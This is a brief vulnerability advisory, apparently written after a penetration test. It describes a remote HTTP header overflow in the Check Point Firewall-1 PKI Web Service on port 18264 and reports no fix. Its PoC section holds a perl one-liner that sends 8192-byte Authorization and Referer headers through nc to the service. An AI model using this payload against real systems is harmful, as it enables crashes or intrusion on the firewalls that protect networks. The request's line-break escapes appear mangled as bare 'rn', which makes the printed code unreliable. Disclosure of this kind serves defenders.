- Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow - Description The Check Point Firewall-1 PKI Web Service, running by default on TCP port 18264, is vulnerable to a remote overflow in the handling of very long HTTP headers. This was discovered during a pen-test where the client would not allow further analysis and would not provide the full product/version info. Initial testing indicates the 'Authorization' and 'Referer' headers were vulnerable. - Product Check Point, Firewall-1, unknown - PoC perl -e 'print "GET / HTTP/1.0rnAuthorization: Basic" . "x" x 8192 . "rnFrom: bugs_at_hugs.comrnIf-Modified-Since: Fri, 13 Dec 2006 09:12:58 GMTrnReferer: http://www.owasp.org/" . "x" x 8192 . "rnUserAgent: FsckResponsibleDisclosure 1.0rnrn"' | nc suckit.com 18264 - Solution None - Timeline 2006-11-06: Vulnerability Discovered 2009-03-29: Disclosed to Public